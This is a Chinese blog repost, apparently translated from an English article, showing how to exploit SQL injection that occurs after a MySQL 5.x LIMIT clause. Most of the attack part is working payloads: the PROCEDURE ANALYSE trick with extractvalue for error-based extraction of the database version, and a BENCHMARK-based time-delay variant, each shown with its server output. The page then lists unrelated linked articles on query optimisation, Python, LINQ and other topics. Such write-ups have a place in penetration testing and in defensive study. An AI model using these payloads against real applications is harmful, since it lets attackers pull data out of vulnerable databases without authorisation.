MySQL 在 LIMIT 条件后注入
from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/
此方法适用于MySQL 5.x中,在limit语句后面的注入
例如:
- SELECT
 - [ALL | DISTINCT | DISTINCTROW ]
 - [HIGH_PRIORITY]
 - [STRAIGHT_JOIN]
 - [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
 - [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
 - select_expr [, select_expr …]
 - [FROM table_references
 - [WHERE where_condition]
 - [GROUP BY {col_name | expr | position}
 - [ASC | DESC], … [WITH ROLLUP]]
 - [HAVING where_condition]
 - [ORDER BY {col_name | expr | position}
 - [ASC | DESC], …]
 - [LIMIT {[offset,] row_count | row_count OFFSET offset}]
 - [PROCEDURE procedure_name(argument_list)]
 - [INTO OUTFILE ‘file_name’ export_options
 - | INTO DUMPFILE ‘file_name’
 - | INTO var_name [, var_name]]
 - [FOR UPDATE | LOCK IN SHARE MODE]]
 
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢?
Let’s give it a try:
- mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
 - ERROR 1386 (HY000): Can’t use ORDER clause with this procedure
 
ANALYSE可以有两个参数:
- mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
 - ERROR 1386 (HY000): Can’t use ORDER clause with this procedure
 
看起来并不是很好,继续尝试:
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure
analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
但是立即返回了一个错误信息:
ERROR 1108 (HY000): Incorrect parameters to procedure ‘analyse’
sleep函数肯定没有执行,但是最终我还是找到了可以攻击的方式:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.41-0ubuntu0.14.04.1′
如果不支持报错注入的话,还可以基于时间注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行,需要用BENCHMARK代替。
PS:测试成功,无图无真相:
MySQL 在 LIMIT 条件后注入的更多相关文章
- Mysql 按条件排序查询一条记录 top 1 对应Mysql的LIMIT 关键字
		
项目中需要每次查询一个表中的最新的一条记录,表结构里面有日期字段.只需要显示一条记录. Mysql帮助文档里面的解释 3.6.2. 拥有某个列的最大值的行 任务:找出最贵物品的编号.销售商和价格. 这 ...
 - mysql中limit与in不能同时使用的解决方式.
		
mysql中limit与in不能同时使用的解决方式. 分类: MySQL2011-10-31 13:53 1277人阅读 评论(0) 收藏 举报 mysqlsubquery MySQL5.1中子查询是 ...
 - MySQL · 性能优化 · 条件下推到物化表
		
MySQL · 性能优化 · 条件下推到物化表 http://mysql.taobao.org/monthly/2016/07/08/ 背景 MySQL引入了Materialization(物化)这一 ...
 - MYSQL分页limit速度太慢优化方法
		
http://www.fienda.com/archives/110 在mysql中limit可以实现快速分页,但是如果数据到了几百万时我们的limit必须优化才能有效的合理的实现分页了,否则可能卡死 ...
 - mysql的limit经典用法及优化
		
用法一 SELECT `keyword_rank`.* FROM `keyword_rank` WHERE (advertiserid='59') LIMIT 2 OFFSET 1; 比如这个 ...
 - MySQL的Limit详解
		
问题:数据库查询语句,如何只返回一部分数据? Top子句 TOP 子句用于规定要返回的记录的数目.对于拥有数千条记录的大型表来说,TOP 子句是非常有用的. 在SQL Server数据库中语法为: S ...
 - MySQL的limit优化
		
mysql的分页比较简单,只需要limit offset,length就可以获取数据了,但是当offset和length比较大的时候,mysql明显性能下降 1.子查询优化法 先找出第一条数据,然后大 ...
 - MySQL的limit用法及优化(转)
		
常规用法: 用法一: OFFSET ; 比如这个SQL ,limit后面跟的是2条数据,offset后面是从第1条开始读取. 用法二: ,; 而这个SQL,limit后面是从第2条开始读,读取1条信息 ...
 - Mysql的“Limit”操作
		
Limit操作: ,; #返回第6-15行数据 ; #返回前5行 ,; #返回前5行 性能优化: 基于MySQL5.0中limit的高性能,我对数据分页也重新有了新的认识.测试SQL语句1: Sele ...
 
随机推荐
- 【python】类(资料+疑惑)
			
1.http://python-china.org/t/77 有关method binding的理解 2.[Python] dir() 与 __dict__,__slots__ 的区别 3.Descr ...
 - .NET LINQ 转换数据类型
			
转换数据类型 转换方法更改输入对象的类型. LINQ 查询中的转换运算可用于各种应用程序.下面是一些示例: Enumerable.AsEnumerable<TSource&g ...
 - Rest(表述性状态转移)
			
本文的主要内容有: 1.了解Rest 2.了解RESTful WebService 3.使用SpringMvc实现RESTful ------------------------------我是华丽的 ...
 - Java 8相关
			
语言生态系统中的所有语言都有优胜劣汰的压力.虽然Java语言当前还在健康发展,但是保不定哪天就完蛋了. Java8增加的新特性从根本上来说是为了提高搬砖的姿势和效率. 多核编程的更好支持. 方法成为一 ...
 - Android ImageView的scaleType属性与adjustViewBounds属性(转)
			
ImageView的scaleType的属性有好几种,分别是matrix(默认).center.centerCrop.centerInside.fitCenter.fitEnd.fitStart.fi ...
 - 在SQL SERVER中实现RSA加解密函数(第一版)
			
/*************************************************** 作者:herowang(让你望见影子的墙) 日期:2010.1.1 注: 转载请保留此信息 ...
 - mysql数据库链接与创建
			
有童鞋问到说,环境搭建好了,mysql也安装了,但是就是进不去数据库,也启动不了,一直报错,那么下面这边就说下如何用Navicat链接上创建的数据库 首先 1)在xshell里进入mysql,命令是: ...
 - win10打开组策略提示命名空间已经被定义
			
http://www.xitongcity.com/jiaocheng/win10jc_content_3629.html 最近有win10系统用户升级到10532版本时,无法打开组策略,弹出提示“命 ...
 - Mysql的一些使用
			
1.批量执行脚本 source sql路径
 - Spring Autowired 注入失败总是Null
			
报错:NullPointerException 分析:错误原因是注入失败? <context:annotation-config/> <context:component-scan ...